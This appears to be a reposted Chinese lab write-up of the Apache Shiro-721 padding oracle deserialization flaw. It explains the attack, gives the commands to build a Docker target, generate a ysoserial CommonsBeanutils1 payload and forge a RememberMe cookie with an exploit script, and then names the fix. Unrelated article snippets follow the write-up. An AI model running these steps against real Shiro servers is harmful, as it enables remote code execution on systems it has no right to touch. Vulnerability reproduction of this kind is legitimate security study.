Apache Shiro 721反序列化漏洞Padding Oracle Attack

news/2024/10/9 22:17:42

目录
  • 漏洞原理
  • 复现
  • 修复方式

漏洞原理

Shiro 的RememberMe Cookie使用的是 AES-128-CBC 模式加密。其中 128 表示密钥长度为128位,CBC 代表Cipher Block Chaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。

这种模式的加密方式容易受到 Padding Oracle Attack 的影响。如果填充不正确,程序可能会以不同的方式响应,而不是简单的返回一个错误。然后攻击者可以利用这些差异性响应来逐个解密密文中的块,即使他们没有加密的密钥。

总之就有点类似于盲注,攻击者可以利用这一点来进行尝试,精心构造RememberMe Cookie执行反序列化,无需知道RememberMe加密的密钥。

Shiro721 和 Shiro550 的差异?

Shiro721和Shiro550一样,都是生成恶意RememberMe Cookie反序列化执行代码,不同之处是RememberMe Cookie的生成方式。

shiro550 序列化利用需要知道AES加密的key,使用这个key直接构造Pyload。

Shiro721 序列化是利用已登录用户的合法RememberMe Cookie值,然后从密码学的角度来攻击,构造Pyload。

复现

影响版本:Apache Shiro 1.2.5、1.2.6、1.3.0、1.3.1、1.3.2、1.4.0-RC2、1.4.0、1.4.1

环境搭建:

git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

浏览器访问靶机 8080 端口:

image

使用已有用户登录,得到 RememberMe Cookie:

image

使用反序列化工具 ysoserial 生成Payload,利用链Payload选择 CommonsBeanutils1:

java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

这里使用其他师傅@3ND写的 shiro_exp.py 脚本,通过 Padding Oracle Attack 生成Rememberme Cookie:

python2 shiro_exp.py "http://192.168.88.150:8080/login.jsp" "Wd7Qotkee8tUDoziz3zSYud6BkDsHoFAhDGQ/ay2itmy6DRKk3/XCtlpN8DOr6NsVMvbpvEQeUG2+2nf86yHK52ugDzC9v7T0jF3a/SDg0rTpBsaFoJ7647C8sEhbsxno6pu/mpKWqg6Ii6zH/yUIJaRswCMEw/YWH5C36FeASHK8FOEl0CZyi1wcdgHlQAeaRH/U2vOv3Y0aMGkMf/D6Da9gofvfXLHx1TP3V6EyzO5Fnd/22H33oRLf5D/48b8uFfiA3QMzcaTML3U9foQRiSiYOp5Wr2ghBLU4HvqIM2YF7bIyAwWfr9+Zaa/JvwWjGYSbrXS0ay8G8oVP94ijDtVxXjLotx75eP0ahdXuO0AsEwe7a7nMgpwVStpz7igSBCjnJHeB5ZHEI6s7md30rltU99FtsjyOLBxYy6LryJTqmGokpk8sbbxch6Qefmx0xdob6/EFM8S0rn3mF48T0n6LfKlUZw3RjNG8B42Tba46k9gkvsFM40QJNNJWCp5" poc.ser

这个 exp 爆破时间有点长:

image

将得到的这个Rememberme Cookie替换到Cookie处发送:

需要注意的是,这里原本的JSESSIONID要删除掉,否则服务器不会进行反序列化操作。

image

进入到我们的靶机docker环境中,可以看到 /tmp/success 文件已经成功创建,利用成功。

image

修复方式

升级到 Shiro1.4.2 版本(Shiro1.4.2版本后,Shiro的加密模式由AES-CBC更换为AES-GCM)

参考文章:
https://github.com/inspiringz/Shiro-721
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2019-12422shiro-721Oracle填充攻击.md
https://issues.apache.org/jira/browse/SHIRO-721


若有错误,欢迎指正!o( ̄▽ ̄)ブ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/27858.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Camunda User Task:Task Listeners

代码实现:@Component("testTaskListener") public class UserTaskListener implements TaskListener {@Overridepublic void notify(DelegateTask delegateTask) {} }

Camunda 流程执行错误处理ERROR BOUNDARY EVENT

ERROR BOUNDARY EVENT:在任务发生异常时候会触发走,在代码中必须显式抛出throw new BpmnError("error.....");public void execute(DelegateExecution delegateExecution) throws Exception {System.out.println("进来了>>>>>>>>>…

Redis基础篇笔记

一、Redis入门 1.认识NoSQL 1.1 什么是NoSQLNoSQL最常见的解释是"non-relational", 很多人也说它是"Not Only SQL" NoSQL仅仅是一个概念,泛指非关系型的数据库 区别于关系数据库,它们不保证关系数据的ACID特性 NoSQL是一项全新的数据库革命性运动,提倡…

基于WOA优化的CNN-GRU-Attention的时间序列回归预测matlab仿真

1.算法运行效果图预览 woa优化前woa优化后 2.算法运行软件版本 matlab2022a3.算法理论概述时间序列回归预测是数据分析的重要领域,旨在根据历史数据预测未来时刻的数值。近年来,深度学习模型如卷积神经网络(Convolutional Neural Network, CNN)、GRU以及注意力机制(Atten…

Merge Or Rebase

Merge Or Rebase 都具备分支间变更的能力:但是二者间实现手段大不相同 1. 实现手段 Merge(总是向前推进提交历史,并不会影响提交的原始状态) 我们在特性分支上,执行 # git 会以 我方、对方、以及双方最近公共祖先 对应的快照 ===> 执行三路合并生成新的快照 git merge …

m基于Yolov2深度学习网络的螺丝检测系统matlab仿真,带GUI界面

1.算法仿真效果 matlab2022a仿真结果如下:2.算法涉及理论知识概要基于YOLOv2(You Only Look Once version 2)深度学习网络的螺丝检测系统,是一种高效的目标检测方法,它在计算机视觉领域被广泛应用,尤其适合于实时检测和定位图像中的螺丝等小型物体。YOLOv2相较于初代YOLO…

2024年13个最佳Scrum工具评测

本文将介绍2024年13个高级Scrum敏捷开发管理工具。Scrum 管理工具有:PingCode、Jira、Trello、Zoho Sprints、Active Collab、ProProfs Project、Scrumwise、ClickUp、Monday.com、QuickScrum、Yodiz、ScrumDo、nTask在过去几年中,Scrum方法论已成为敏捷项目管理的主要框架之…

鸿蒙开发前四章

鸿蒙开发前四章 第二章:开发环境搭建 首先要创建project,然后用Empty Activity模版,可以选visual(支持低代码可视化的开发)一个项目可以有多个module,new module选择同上,还可以导入module。第三章:开发一个harmonyOs应用 (1)创建一个新项目(用java写) 那么sdk版本…